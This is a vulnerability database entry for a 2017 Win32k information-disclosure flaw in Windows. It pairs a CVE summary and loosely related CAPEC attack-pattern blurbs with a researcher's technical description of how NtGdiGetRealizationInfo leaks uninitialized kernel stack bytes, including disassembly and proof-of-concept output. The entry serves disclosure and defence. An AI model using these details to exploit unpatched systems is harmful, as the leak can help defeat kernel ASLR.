NONE Summary
Microsoft Windows 7 SP1, Windows Server 2008 SP2 and R2 SP1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, and Windows Server 2016 allow an authenticated attacker to run a specially crafted application when the Windows kernel improperly initializes objects in memory, aka "Win32k Information Disclosure Vulnerability". This CVE ID is unique from CVE-2017-8470, CVE-2017-8471, CVE-2017-8472, CVE-2017-8475, CVE-2017-8477, and CVE-2017-8484.
Vulnerable Configurations
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Subverting Environment Variable Values The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.
- Footprinting An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
- Exploiting Trust in Client (aka Make the Client Invisible) An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
- Browser Fingerprinting An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
- Session Credential Falsification through Prediction This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

| description | We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 7-10 through the win32k!NtGdiGetRealizationInfo system call. The concrete layout of the input/output structure is unclear (symbols indicate its name is FONT_REALIZATION_INFO), but the first DWORD field contains the structure size, which can be either 16 or 24. The internal win32k!GreGetRealizationInfo function then initializes a local copy of the structure on the kernel stack with an adequate number of bytes. However, the syscall handler later copies the full 24 bytes of memory back to user-mode, regardless of the declared size of the structure, and the number of bytes initialized within it: ``` --- cut --- .text:BF86F307 mov edi, ecx .text:BF86F309 .text:BF86F309 loc_BF86F309: .text:BF86F309 push 6 .text:BF86F30B pop ecx .text:BF86F30C lea esi, [ebp+var_30] .text:BF86F30F rep movsd --- cut --- ``` In other words, if we pass in a structure with .Size set to 16, the kernel will leak 8 uninitialized stack bytes back to us. This condition is illustrated by the attached proof-of-concept program, which first sprays 1024 bytes of the kernel stack with the 0x41 ('A') value, and then invokes the affected system call. The result of starting the program on Windows 7 32-bit is as follows: ``` --- cut --- 00000000: 10 00 00 00 03 01 00 00 2d 00 00 00 65 00 00 46 ........-...e..F 00000010: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........ --- cut --- ``` It is clearly visible that the 8 trailing bytes are set to the leftover 'A's artificially set up to demonstrate the security issue. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
